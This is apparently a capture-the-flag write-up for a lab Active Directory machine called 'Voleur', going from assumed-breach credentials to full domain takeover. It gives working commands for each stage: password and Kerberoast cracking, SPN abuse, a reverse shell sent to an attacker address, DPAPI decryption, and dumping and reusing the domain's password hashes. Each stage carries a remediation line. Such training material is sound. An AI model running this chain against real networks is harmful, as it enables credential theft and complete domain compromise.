Voleur
Summary
Starting from a single set of assumed-breach domain credentials, I read a non-default SMB share and pulled an encrypted spreadsheet whose password cracked offline to reveal two service-account credentials and a note about a deleted employee account. Domain reconnaissance showed one of those service accounts could write a Service Principal Name onto another, turning it into a target for offline Kerberos ticket cracking and yielding a WinRM foothold.
From there, I reused a recovered password to briefly become the more privileged service account, restored the deleted employee's AD object from the Recycle Bin, and decrypted that employee's saved Windows credential (DPAPI) to obtain a third account's password. That account's file share held an unprotected SSH private key for a Linux subsystem running on the domain controller itself; SSH access to it exposed the domain's backup files outside normal Windows permissions, yielding a full copy of the Active Directory database and the domain's password hashes — including the Administrator's — for complete domain takeover.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered, for svc_ldap>"
export PASSWORD7="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Some commands also carry a value in angle brackets — <decrypted_masterkey> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 5
Resolve the domain controller's hostname.
$ echo "$TARGET dc.voleur.htb voleur.htb" | sudo tee -a /etc/hostsSync the clock — Kerberos fails with KRB_AP_ERR_SKEW if my and DC time diverge.
$ sudo ntpdate dc.voleur.htbRequest a Kerberos TGT; NTLM auth is disabled domain-wide.
$ getTGT.py voleur.htb/ryan.naylor:$PASSWORD3 -dc-ip $TARGETPoint subsequent tools at the obtained ticket.
$ export KRB5CCNAME=ryan.naylor.ccacheBrowse shares over Kerberos; locate and download IT/First-Line Support/Access_Review.xlsx.
$ smbclient.py -k -no-pass voleur.htb/ryan.naylor@dc.voleur.htbFixRemove sensitive credentials from shared documents and restrict the 'IT' shareHigh
Exact commands 2
Extract the crackable hash from the encrypted spreadsheet.
$ office2john Access_Review.xlsx > access_review.hashDictionary-crack the document password (recovers '$PASSWORD7').
$ hashcat -m 9600 access_review.hash /usr/share/wordlists/rockyou.txtExact commands 5
Collect AD relationships to find abusable privileges.
$ bloodhound-python -k -u svc_ldap -p $PASSWORD4 -d voleur.htb -ns $TARGET -c AllWrite a fake SPN onto svc_winrm using svc_ldap's WriteSPN right.
$ bloodyAD -d voleur.htb -k --host dc.voleur.htb -u svc_ldap -p $PASSWORD4 set object svc_winrm servicePrincipalName -v 'http/x'Request and dump the now-available TGS for svc_winrm.
$ netexec ldap dc.voleur.htb -u svc_ldap -p $PASSWORD4 -k --kerberoasting out.txtCrack the Kerberoast ticket offline (recovers svc_winrm's password).
$ hashcat -m 13100 out.txt /usr/share/wordlists/rockyou.txtRemove the injected SPN to restore the object (operational hygiene, not required for the attack).
$ bloodyAD -d voleur.htb -k --host dc.voleur.htb -u svc_ldap -p $PASSWORD4 remove object svc_winrm servicePrincipalName -v 'http/x'FixRemove unnecessary WriteSPN delegation and enforce strong service-account passwordsHigh
Exact commands 5
Obtain a Kerberos TGT for svc_winrm.
$ getTGT.py voleur.htb/svc_winrm:"$PASSWORD" -dc-ip $TARGETUse this ticket for the WinRM connection.
$ export KRB5CCNAME=svc_winrm.ccacheKerberos WinRM login (NTLM/-u/-p would silently fail on this domain).
$ evil-winrm -i dc.voleur.htb -r voleur.htbConfirm code execution as svc_winrm before reading the flag.
$ whoami
voleur\svc_winrmRetrieve the user flag; value shown here is <user.txt>.
$ type C:\Users\svc_winrm\Desktop\user.txtExact commands 3
Run from the svc_winrm WinRM shell to pivot into svc_ldap's context.
$ .\RunasCs.exe svc_ldap $PASSWORD4 powershell -r $ATTACKER_IP:443Locate the deleted account and note its objectGUID.
$ Get-ADObject -Filter 'displayName -eq "todd.wolfe"' -IncludeDeletedObjects -Properties *Restore todd.wolfe from the AD Recycle Bin using svc_ldap's delegated rights.
$ Restore-ADObject -Identity <objectGUID>FixRestrict AD Recycle Bin restore rights to Tier-0 administratorsHigh
Exact commands 2
Decrypt the DPAPI master key; -sid must match the Protect\<SID> folder exactly and the password is todd's document password, not an AD login.
$ dpapi.py masterkey -file '<path to Protect\<SID>\masterkey>' -sid <SID> -password $PASSWORD2Decrypt the stored credential blob to recover jeremy.combs' plaintext password.
$ dpapi.py credential -file '<path to Credentials blob>' -key 0x<decrypted_masterkey>FixPurge credential material from deprovisioned/archived user profilesMedium
Exact commands 3
Use jeremy.combs' credential to reach C:\IT\Third-Line Support\ and pull id_rsa.
$ evil-winrm -i dc.voleur.htb -r voleur.htb (as jeremy.combs, Kerberos)SSH into the WSL Ubuntu instance running on the domain controller.
$ ssh -i id_rsa -p 2222 svc_backup@$TARGETConfirm the shell and its privileges before proceeding.
$ id; hostnameFixNever store private SSH keys in general-access file sharesHigh
Exact commands 3
Confirm the backup files are readable from the WSL shell, unrestricted by Windows ACLs.
$ ls -l '/mnt/c/IT/Third-Line Support/Backups'Pull the AD database and registry hives needed to decrypt it.
$ scp -P 2222 -i id_rsa svc_backup@$TARGET:'/mnt/c/IT/Third-Line Support/Backups/{ntds.dit,SYSTEM,SECURITY}' .Extract every domain account's NTLM hash, including built-in Administrator.
$ secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit LOCALFixStop storing AD database backups where WSL or other non-Windows-ACL-aware access can reach themCritical
Exact commands 4
Convert the NT hash into a Kerberos TGT since NTLM pass-the-hash is blocked.
$ getTGT.py voleur.htb/administrator -hashes :$HASH -dc-ip $TARGETUse the Administrator ticket for the next command.
$ export KRB5CCNAME=administrator.ccacheOpen a command-execution session as Administrator over Kerberos.
$ wmiexec.py -k -no-pass voleur.htb/administrator@dc.voleur.htbProve SYSTEM/Administrator access before reading the flag; value shown here is <root.txt>.
$ whoami && type C:\Users\Administrator\Desktop\root.txtExposed services
| 53/tcp | dns recon-sweep-discovered |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 2222/tcp | unknown recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 49674/tcp | unknown recon-sweep-discovered |
| 49675/tcp | unknown recon-sweep-discovered |
| 53181/tcp | unknown recon-sweep-discovered |
| 53187/tcp | unknown recon-sweep-discovered |
| 53207/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |